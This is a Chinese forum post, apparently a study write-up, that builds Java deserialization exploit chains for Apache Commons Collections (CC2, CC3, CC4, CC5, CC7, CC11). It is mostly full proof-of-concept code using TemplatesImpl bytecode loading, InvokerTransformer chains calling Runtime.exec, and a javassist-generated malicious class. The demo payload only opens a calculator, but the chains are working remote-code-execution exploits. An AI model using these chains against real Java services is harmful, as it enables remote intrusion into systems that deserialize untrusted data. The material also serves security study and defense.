  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.ChainedTransformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import org.apache.commons.collections.functors.InvokerTransformer;
  8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import java.io.*;
  11. import java.lang.annotation.Target;
  12. import java.lang.reflect.*;
  13. import java.nio.file.Files;
  14. import java.nio.file.Paths;
  15. import java.util.HashMap;
  16. import java.util.Map;
  17. public class CC3 {
  18.     public static void serialize(Object obj) throws IOException {
  19.         FileOutputStream fos = new FileOutputStream("cc3.bin");
  20.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  21.         oos.writeObject(obj);
  22.     }
  23.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  24.         FileInputStream fis = new FileInputStream(filename);
  25.         ObjectInputStream ois = new ObjectInputStream(fis);
  26.         ois.readObject();
  27.     }
  28.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
  29.         TemplatesImpl templates = new TemplatesImpl();
  30.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  31.         _name.setAccessible(true);
  32.         _name.set(templates, "1");
  33.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  34.         _bytecodes.setAccessible(true);
  35.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
  36.         byte[][] code = {bytes};
  37.         _bytecodes.set(templates, code);
  38.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  39.         _tfactory.setAccessible(true);
  40.         _tfactory.set(templates, new TransformerFactoryImpl());
  41.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
  42.         ABSTRACT_TRANSLET.setAccessible(true);
  43.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
  44. //        Transformer transformer = templates.newTransformer();
  45.         Transformer[] transformers = new Transformer[]{
  46.                 new ConstantTransformer(templates),
  47.                 new InvokerTransformer("newTransformer", null, null)
  48.         };
  49.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  50.         Map<Object, Object> map = new HashMap<>();
  51.         Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
  52.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
  53.         HashMap<Object, Object> hashMap = new HashMap<>();
  54.         hashMap.put(tiedMapEntry, null);
  55.         map.remove(null);
  56.         Field factory = LazyMap.class.getDeclaredField("factory");
  57.         factory.setAccessible(true);
  58.         factory.set(lazymap, chainedTransformer);
  59.         serialize(hashMap);
  60.         deserialize("cc3.bin");
  61.     }
  62. }
复制代码
美满收官,分析一下yso的CC3,又有所差别,可以看到它在Transformer[]里调用的是InstantiateTransformer,还引入了TrAXFilter这个类,我们追踪一下

首先TrAXFilter中会调用newTransformer

再看InstantiateTransformer的transform方法,获取构造器,再实例化,刚好可以触发TrAXFilter
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import org.apache.commons.collections.Transformer;
  6. import org.apache.commons.collections.functors.ChainedTransformer;
  7. import org.apache.commons.collections.functors.ConstantTransformer;
  8. import org.apache.commons.collections.functors.InstantiateTransformer;
  9. import org.apache.commons.collections.functors.InvokerTransformer;
  10. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  11. import org.apache.commons.collections.map.LazyMap;
  12. import javax.xml.transform.Templates;
  13. import java.io.*;
  14. import java.lang.annotation.Target;
  15. import java.lang.reflect.*;
  16. import java.nio.file.Files;
  17. import java.nio.file.Paths;
  18. import java.util.HashMap;
  19. import java.util.Map;
  20. public class CC3 {
  21.     public static void serialize(Object obj) throws IOException {
  22.         FileOutputStream fos = new FileOutputStream("cc3.bin");
  23.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  24.         oos.writeObject(obj);
  25.     }
  26.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  27.         FileInputStream fis = new FileInputStream(filename);
  28.         ObjectInputStream ois = new ObjectInputStream(fis);
  29.         ois.readObject();
  30.     }
  31.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
  32.         TemplatesImpl templates = new TemplatesImpl();
  33.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  34.         _name.setAccessible(true);
  35.         _name.set(templates, "1");
  36.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  37.         _bytecodes.setAccessible(true);
  38.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
  39.         byte[][] code = {bytes};
  40.         _bytecodes.set(templates, code);
  41.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  42.         _tfactory.setAccessible(true);
  43.         _tfactory.set(templates, new TransformerFactoryImpl());
  44.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
  45.         ABSTRACT_TRANSLET.setAccessible(true);
  46.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
  47. //        Transformer transformer = templates.newTransformer();
  48.         Transformer[] transformers = new Transformer[]{
  49.                 new ConstantTransformer(TrAXFilter.class),
  50.                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
  51.         };
  52.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  53.         HashMap<Object, Object> map = new HashMap<>();
  54.         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);
  55.         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  56.         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  57.         constructor.setAccessible(true);
  58.         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
  59.         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
  60.         Object o = constructor.newInstance(Target.class, newMap);
  61.         serialize(o);
  62.         deserialize("cc3.bin");
  63.     }
  64. }
复制代码
OK,美满办理
心不在焉CC4

CC4需要commoncollection4的依赖
  1. <dependency>
  2.     <groupId>org.apache.commons</groupId>
  3.     <artifactId>commons-collections4</artifactId>
  4.     <version>4.0</version>
  5. </dependency>
复制代码
CC4实在就是CC3的前半部门,在修改了一下后部门的一些操作,不是像CC1,CC6那样使用LazyMap来触发transform了,所以得换别的类,such as TransformingComparator,这是commoncollection4里的类,我们跟进一下,compare这里调用了transform

继承跟进,看哪调用了compare,PriorityQueue类

跟进

继承跟进

美满

构造exp:
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import org.apache.commons.collections4.Transformer;
  6. import org.apache.commons.collections4.functors.ChainedTransformer;
  7. import org.apache.commons.collections4.functors.ConstantTransformer;
  8. import org.apache.commons.collections4.functors.InstantiateTransformer;
  9. import org.apache.commons.collections4.comparators.TransformingComparator;
  10. import javax.xml.transform.Templates;
  11. import java.io.*;
  12. import java.lang.reflect.Field;
  13. import java.nio.file.Files;
  14. import java.nio.file.Paths;
  15. import java.util.PriorityQueue;
  16. public class CC4 {
  17.     public static void serialize(Object obj) throws IOException {
  18.         FileOutputStream fos = new FileOutputStream("cc4.bin");
  19.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  20.         oos.writeObject(obj);
  21.     }
  22.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  23.         FileInputStream fis = new FileInputStream(filename);
  24.         ObjectInputStream ois = new ObjectInputStream(fis);
  25.         ois.readObject();
  26.     }
  27.     public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
  28.         TemplatesImpl templates = new TemplatesImpl();
  29.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  30.         _name.setAccessible(true);
  31.         _name.set(templates, "1");
  32.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  33.         _bytecodes.setAccessible(true);
  34.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
  35.         byte[][] code = {bytes};
  36.         _bytecodes.set(templates, code);
  37.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  38.         _tfactory.setAccessible(true);
  39.         _tfactory.set(templates, new TransformerFactoryImpl());
  40.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
  41.         ABSTRACT_TRANSLET.setAccessible(true);
  42.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
  43.         Transformer[] transformers = new Transformer[]{
  44.                 new ConstantTransformer(TrAXFilter.class),
  45.                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
  46.         };
  47.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  48.         TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
  49.         Field transformer = TransformingComparator.class.getDeclaredField("transformer");
  50.         transformer.setAccessible(true);
  51.         transformer.set(transformingComparator, chainedTransformer);
  52.         PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
  53.         priorityQueue.add(1);
  54.         priorityQueue.add(2);
  55.         serialize(priorityQueue);
  56.         deserialize("cc4.bin");
  57.     }
  58. }
复制代码
成功弹出计算器
身不由己CC2

CC2与CC4差别的地方就是后半些许差别,没有用chainedtrainsform,直接用invokertransformer
直接上poc了,没啥可调试的
  1. package com.f12;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import org.apache.commons.collections4.comparators.TransformingComparator;
  5. import org.apache.commons.collections4.functors.ConstantTransformer;
  6. import org.apache.commons.collections4.functors.InvokerTransformer;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.nio.file.Files;
  10. import java.nio.file.Paths;
  11. import java.util.PriorityQueue;
  12. public class CC2 {
  13.     public static void serialize(Object obj) throws IOException {
  14.         FileOutputStream fos = new FileOutputStream("cc2.bin");
  15.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  16.         oos.writeObject(obj);
  17.     }
  18.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  19.         FileInputStream fis = new FileInputStream(filename);
  20.         ObjectInputStream ois = new ObjectInputStream(fis);
  21.         ois.readObject();
  22.     }
  23.     public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
  24.         TemplatesImpl templates = new TemplatesImpl();
  25.         Field _name = TemplatesImpl.class.getDeclaredField("_name");
  26.         _name.setAccessible(true);
  27.         _name.set(templates, "1");
  28.         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
  29.         _bytecodes.setAccessible(true);
  30.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\CC1\\target\\classes\\com\\f12\\Eval.class"));
  31.         byte[][] code = {bytes};
  32.         _bytecodes.set(templates, code);
  33.         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
  34.         _tfactory.setAccessible(true);
  35.         _tfactory.set(templates, new TransformerFactoryImpl());
  36.         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
  37.         ABSTRACT_TRANSLET.setAccessible(true);
  38.         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
  39.         InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
  40.         TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
  41.         PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
  42.         priorityQueue.add(templates);
  43.         priorityQueue.add(2);
  44.         Field transformer = TransformingComparator.class.getDeclaredField("transformer");
  45.         transformer.setAccessible(true);
  46.         transformer.set(transformingComparator, invokerTransformer);
  47.         serialize(priorityQueue);
  48.         deserialize("cc2.bin");
  49.     }
  50. }
复制代码
有点眼熟CC5

CC5就是改了一点点的CC6,看链子,就改了readObject部门,分析一下

触发LazyMap.get换成了toString,这里调用了getValue

继承跟进,BadAttributeValueExpException的readObject调用了toString

这样就可以构造链子了,非常简单
  1. package com.f12;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.io.*;
  10. import java.lang.reflect.Field;
  11. import java.util.HashMap;
  12. import java.util.Map;
  13. public class CC5 {
  14.     public static void serialize(Object obj) throws IOException {
  15.         FileOutputStream fos = new FileOutputStream("cc5.bin");
  16.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  17.         oos.writeObject(obj);
  18.     }
  19.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  20.         FileInputStream fis = new FileInputStream(filename);
  21.         ObjectInputStream ois = new ObjectInputStream(fis);
  22.         ois.readObject();
  23.     }
  24.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  25.         Transformer[] transformers = new Transformer[]{
  26.                 new ConstantTransformer(Runtime.class),
  27.                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  28.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  29.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  30.         };
  31.         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  32.         Map<Object, Object> map = new HashMap<>();
  33.         Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
  34.         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
  35.         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  36.         Field val = BadAttributeValueExpException.class.getDeclaredField("val");
  37.         val.setAccessible(true);
  38.         val.set(badAttributeValueExpException, tiedMapEntry);
  39.         serialize(badAttributeValueExpException);
  40.         deserialize("cc5.bin");
  41.     }
  42. }
复制代码
越看越熟CC7

CC7的链子,这里是从LazyMap.get的调用开始修改了

追踪一下,AbstractMap类的equals调用了get

继承追踪equals,AbstractMapDecorator的equals调用了

继承追踪,为什么要用reconstitutionPut?Hashtable里还有好多地方都调用了equals

由于它在readObject中被调用了
  1. private void readObject(java.io.ObjectInputStream s)
  2.          throws IOException, ClassNotFoundException
  3.     {
  4.         // Read in the length, threshold, and loadfactor
  5.         s.defaultReadObject();
  6.         // Read the original length of the array and number of elements
  7.         int origlength = s.readInt();
  8.         int elements = s.readInt();
  9.         // Compute new size with a bit of room 5% to grow but
  10.         // no larger than the original size.  Make the length
  11.         // odd if it's large enough, this helps distribute the entries.
  12.         // Guard against the length ending up zero, that's not valid.
  13.         int length = (int)(elements * loadFactor) + (elements / 20) + 3;
  14.         if (length > elements && (length & 1) == 0)
  15.             length--;
  16.         if (origlength > 0 && length > origlength)
  17.             length = origlength;
  18.         table = new Entry<?,?>[length];
  19.         threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
  20.         count = 0;
  21.         // Read the number of elements and then all the key/value objects
  22.         for (; elements > 0; elements--) {
  23.             @SuppressWarnings("unchecked")
  24.                 K key = (K)s.readObject();
  25.             @SuppressWarnings("unchecked")
  26.                 V value = (V)s.readObject();
  27.             // synch could be eliminated for performance
  28.             reconstitutionPut(table, key, value);
  29.         }
  30.     }
复制代码
这样链子就明了了,构造poc,注意AbstractMapDecorator和AbstractMap都是抽象类,并不能实例化,但是都实现了Map,所以调用equals时是调用lazyMap.equals,找不到往上找就能找到AbstractMap.equals
  1. package com.f12;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.AbstractMapDecorator;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.AbstractMap;
  11. import java.util.HashMap;
  12. import java.util.Hashtable;
  13. import java.util.Map;
  14. public class CC7 {
  15.     public static void serialize(Object obj) throws IOException {
  16.         FileOutputStream fos = new FileOutputStream("cc7.bin");
  17.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  18.         oos.writeObject(obj);
  19.     }
  20.     public static void deserialize(String filename) throws IOException, ClassNotFoundException {
  21.         FileInputStream fis = new FileInputStream(filename);
  22.         ObjectInputStream ois = new ObjectInputStream(fis);
  23.         ois.readObject();
  24.     }
  25.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  26.         Transformer[] transformers = new Transformer[]{
  27.                 new ConstantTransformer(Runtime.class),
  28.                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  29.                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  30.                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  31.         };
  32.         ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
  33.         Map<Object, Object> map1 = new HashMap<>();
  34.         Map<Object, Object> map2 = new HashMap<>();
  35.         Map<Object, Object> lazymap1 = LazyMap.decorate(map1, chainedTransformer);
  36.         Map<Object, Object> lazymap2 = LazyMap.decorate(map2, chainedTransformer);
  37.         lazymap1.put("yy", 1);
  38.         lazymap2.put("zZ",1);
  39.         Hashtable hashtable = new Hashtable<>();
  40.         hashtable.put(lazymap1, 1);
  41.         hashtable.put(lazymap2,2);
  42.         Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
  43.         iTransformers.setAccessible(true);
  44.         iTransformers.set(chainedTransformer, transformers);
  45.         lazymap2.remove("yy");
  46.         serialize(hashtable);
  47.         deserialize("cc7.bin");
  48.     }
  49. }
复制代码
这里很有意思,键值还非得是yy和zZ,原因是它们两个的hashCode值相等,这样在reconstitutionPut方法中才能触发equals方法
不知好歹CC11

这里还学到一个javassist动态创建类,依赖:
  1. <dependency>
  2.   <groupId>org.javassist</groupId>
  3.   <artifactId>javassist</artifactId>
  4.   <version>3.29.1-GA</version>
  5. </dependency>
复制代码
从构造形式来看像是CC2和CC6的杂交,但是里面有挺多的细节,先给出poc:
  1. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import javassist.ClassClassPath;
  4. import javassist.ClassPool;
  5. import javassist.CtClass;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.io.FileInputStream;
  10. import java.io.FileOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Constructor;
  14. import java.lang.reflect.Field;
  15. import java.util.HashMap;
  16. import java.util.HashSet;
  17. @SuppressWarnings("all")
  18. public class cc11 {
  19.     public static void main(String[] args) throws Exception {
  20.         // 利用javasist动态创建恶意字节码
  21.         ClassPool pool = ClassPool.getDefault();
  22.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  23.         CtClass cc = pool.makeClass("Cat");
  24.         String cmd = "java.lang.Runtime.getRuntime().exec("open  /System/Applications/Calculator.app");";
  25.         cc.makeClassInitializer().insertBefore(cmd);
  26.         String randomClassName = "EvilCat" + System.nanoTime();
  27.         cc.setName(randomClassName);
  28.         cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
  29.         // 写入.class 文件
  30.         // 将我的恶意类转成字节码,并且反射设置 bytecodes
  31.         byte[] classBytes = cc.toBytecode();
  32.         byte[][] targetByteCodes = new byte[][]{classBytes};
  33.         TemplatesImpl templates = TemplatesImpl.class.newInstance();
  34.         Field f0 = templates.getClass().getDeclaredField("_bytecodes");
  35.         f0.setAccessible(true);
  36.         f0.set(templates,targetByteCodes);
  37.         f0 = templates.getClass().getDeclaredField("_name");
  38.         f0.setAccessible(true);
  39.         f0.set(templates,"name");
  40.         f0 = templates.getClass().getDeclaredField("_class");
  41.         f0.setAccessible(true);
  42.         f0.set(templates,null);
  43.         InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
  44.         HashMap innermap = new HashMap();
  45.         LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
  46.         TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
  47.         HashSet hashset = new HashSet(1);
  48.         hashset.add("foo");
  49.         Field f = null;
  50.         try {
  51.             f = HashSet.class.getDeclaredField("map");
  52.         } catch (NoSuchFieldException e) {
  53.             f = HashSet.class.getDeclaredField("backingMap");
  54.         }
  55.         f.setAccessible(true);
  56.         HashMap hashset_map = (HashMap) f.get(hashset);
  57.         Field f2 = null;
  58.         try {
  59.             f2 = HashMap.class.getDeclaredField("table");
  60.         } catch (NoSuchFieldException e) {
  61.             f2 = HashMap.class.getDeclaredField("elementData");
  62.         }
  63.         f2.setAccessible(true);
  64.         Object[] array = (Object[])f2.get(hashset_map);
  65.         Object node = array[0];
  66.         if(node == null){
  67.             node = array[1];
  68.         }
  69.         Field keyField = null;
  70.         try{
  71.             keyField = node.getClass().getDeclaredField("key");
  72.         }catch(Exception e){
  73.             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
  74.         }
  75.         keyField.setAccessible(true);
  76.         keyField.set(node,tiedmap);
  77.         Field f3 = transformer.getClass().getDeclaredField("iMethodName");
  78.         f3.setAccessible(true);
  79.         f3.set(transformer,"newTransformer");
  80.         try{
  81.             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
  82.             outputStream.writeObject(hashset);
  83.             outputStream.close();
  84.             ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
  85.             inputStream.readObject();
  86.         }catch(Exception e){
  87.             e.printStackTrace();
  88.         }
  89.     }
  90. }
复制代码
先解释一下动态生成类
  1. ClassPool pool = ClassPool.getDefault();: 创建一个ClassPool对象,它是Javassist库中用于管理CtClass对象(表示编译时类)的池。
  2. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));: 将AbstractTranslet类的类路径(ClassClassPath)插入到ClassPool中。这样做是为了确保在创建新类时,能够引用到AbstractTranslet类。
  3. CtClass cc = pool.makeClass("Cat");: 使用ClassPool创建一个名为"Cat"的新CtClass对象,表示一个新的类。
  4. String cmd = "java.lang.Runtime.getRuntime().exec("open  /System/Applications/Calculator.app");";: 定义了一个字符串变量cmd,其中包含要执行的恶意命令。该命令使用Runtime.getRuntime().exec()方法执行一个指定的命令,这里是打开计算器应用程序(Calculator.app)。
  5. cc.makeClassInitializer().insertBefore(cmd);: 使用cc.makeClassInitializer()创建类初始化器(class initializer),并在其之前插入恶意命令。
  6. String randomClassName = "EvilCat" + System.nanoTime();: 创建一个随机的类名,以确保每次执行代码时都会创建一个唯一的类名。
  7. cc.setName(randomClassName);: 将新创建的类的名称设置为随机生成的类名。
  8. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));: 设置新创建的类的父类为AbstractTranslet类。
复制代码
分析过程:http://wjlshare.com/archives/1536
结尾

CC链到此为止,有些地方可能我自己也没弄太明确,建议结合别的文章品鉴

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

麻花痒

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表